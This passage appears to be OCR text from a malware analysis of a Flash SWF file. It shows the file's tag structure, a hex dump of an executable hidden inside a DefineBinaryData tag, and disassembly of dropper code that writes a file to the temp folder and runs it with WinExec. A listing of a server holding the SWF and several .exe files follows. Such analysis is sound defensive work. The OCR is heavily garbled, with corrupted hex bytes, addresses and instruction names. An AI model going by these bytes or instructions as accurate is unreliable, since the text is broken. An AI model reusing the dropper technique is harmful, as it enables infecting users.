- displayRect (RECT)

- frameRate (FIXEDB) = 24.0

- frameCount (U116)=1

3 FlleAttributes (TAG) = 69

-1 Metadata (TAG) = 77

-@h SetBackgroundColor (TAG) = 8
~& Productinfo (TAG) = 41

~@ SeriptLimits (TAG) = 65

~& FrameLabel (TAG) = 43

~¢> DoABC2 (merged) (TAG) = 82
~| .4 DefineBinaryData (1) (TAG) = 87
tagiDTagLength (UI16) = 5631
tagLength (S132) = 204870
tag (UIB) =1

reserved (UI32)=0
binaryData (bytes)
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Address O 1 2 3 4 5 6 7 8 9 a b ¢ d e f Dump
00000000 ef be ad de 41 41 41 41 00 20 01 00 4d 5a 90 00 48 aaaA. . {mMz..r

00000010 03 00 00 OO 04 00 00 00 £f £ff 00 00 b8 00 00 Q0 ........ .. ..
00000020 00 00 00 0O 40 00 00 00 00 QO OO0 00 00 00 Q0 Q00 W eBiwiwaasnuns
00000030 00 00 00 00 00 00 OO0 00 OO0 00 00 00 00 00 00 00 ... .. ieiinnnnnns
00000040 00 00 00 OO 00 OO0 00 00 08 01 00 00 Oe lf ba Oe ......cvuuenns 20

00000050 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 .???L?This pOD%EL
00000060 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 rogram cannot be
00000070 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 run in DOS mode
00000080 2e 0d 0d Oa 24 00 00 00 00 00 00 00 c7 88 43 d6 ....5....... BiCzl
00000090 83 e9 2d 85 83 e9 2d 85 83 e9 2d 85 40 e6 72 85 JL-JE2EE2&H4EE 000
000000a0 81 e9 2d 85 40 e6 70 85 91 e9 2d 85 ec £6 26 85 . ?HPEEJE 2N 22000%
0000000 82 e9 2d 85 00 £5 23 85 87 e9 2d 85 ec f6 27 85 {#-22[E 20H 7?0005
000000c0 88 e9 2d 85 ec £6 29 85 81 e9 2d 85 bS5 cf 26 85 ZE-FH 72720\ 720005
00000040 81 e9 2d 85 83 e9 2c 85 le e9 2d 85 b5 cf 29 85 .2FE?2220\ 27200088
0000000 80 &9 2d 85 6b £6 27 85 8f e9 2d 85 6b £6 26 85 €2 222 2?000%8C
000000f0 8d e9 2d 85 44 ef 2b 85 82 e9 2d 85 52 69 63 68 .7LE?fE?0E ichODEE

00000100 83 e9 2d 85 00 00 00 00 00 00 00 00 00 00 00 00 #L-2ceuuurrenss ac
00000110 00 00 00 00 50 45 00 00 4c 01 02 00 dec 58 2b 55 ....PE..L...HE+ur
“wtninintinteimntatamtntemnintenietemintemtintimied Tt Tt SO0 (bovads8len )

=g
ST CTTTG oo -
seq800: 80000713 call dword ptr [ebp-3D8h] ; Virtualalloc
seq808: 80000719 mov [ebp-308h], eax
seq0O0: AOBOB71F mov edx, [ebp-3F8h]
seq000: 00000725 push edx
seg800: 80000726 mov eax, [ebp-448h]
seq000: 0000072C push eax
seq000: B000072D nou ecx, [ebp-308h]
seqB00: 000008733 push ecx
seq000: 00000734 call dword ptr [ebp-384h] ; memcpy
seq000:00000B73A add esp, BCh
seq@00: 00000730 push 4
seqB00: 000007 3F push 18088h
Seq000: 00000744 push 186h
seq000:000007 49 push o
seq000: 00000748 call dword ptr [ebp-3D8h] ; Uirtualalloc
seqB00: 00000751 mov [ebp-438h], eax
seq000: 00000757 mov edx, [ebp-436h]
seq000:00000875D push edx
seq800:0000075E push 186h
seqB00: 60000763 call dword ptr [ebp-398h] ; GetTempPath
seqBOD: DOBODB7 69 mov [ebp-348h], eax

3AUEEER (Dobaa380en )
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seqB0B: 00000792 push a

seqBon: 00000794 push a

seq000:00000796 push 2

seqBoe: 00000798 push a

seqBon:0000a79a push a

seqB800:0000079C push 400000080

seqBoe:aee007a1 now eax, [ebp-438h]

seqBo0:000007A7 push eax

SeqB0A:ARA0O7A8 call dword ptr [ebp-3D6h] ; CreateFilen
seqBia: 006007AE nov [ebp-428h], eax

seqB00: 0000076, cnp dword ptr [ebp-428h], BFFFFFFFFh
seq00A:000007BB jnz short loc_7BF

seqB00:0ee007ED jmp short loc_7FF

seqBOB:AAB0ATEF ; o
5eq@00:000007BF

seqB00:000007BF loc_7BF: ; CODE XREF: segﬂﬂﬂ:ﬂﬂﬂﬂﬂ?BBTj
seqB00:000007BF push a

seq000:008007C1 lea ecx, [ebp-36Ch]

seqBia:0ee007Cc7 push ecx

seqBi0: 00000708 mow edx, [ebp-3F8n]

5eq000:000007CE push edx |
seqB0B:0e0007CF nov eax, [ebp-3088h]

seqBof:aa0ea7ns push eax

Seqo00: 000008706 mow ecx, [ebp-420nh]

seq@on:eeoa7oc push eCx

seqB00: 00000700 call dword ptr [ebp-3CBh] ; WriteFile
seq000:000007E3 nov edx, [ebp-420h]

seqBie:006007EY push edx

seqBO0:000007EA call dword ptr [ebp-3B4h] ; CloseHandle
seqBO0:000007F 6 push a

seqB00:000007F2 nov eax, [ebp-438h]

seqB00:000007F8 push eax

seq000:000007F9 call dword ptr [ebp-3ACh] ; WinExec

T 3AUEEIEE (Dobag380en )

"ii User 7
Login Name .extension m

& bbs.htmi 1188 2016-3-28 9:08:22
P O B fusk.exe 72.0KB  2016-3-28 8:55:27 78
3 Home D B wexn 1.5MB  2016-3-25 2:59:02 8
0 B wess 1.7 MB  2016-3-25 2:59:11 8
S 0Klech; 6ok 37 Wy on ) B movie.swf 200.0KB  2016-3-28 9:09:05
~ @ search O © xzgg.exe 6.0MB  2016-3-28 2:14:05 4287
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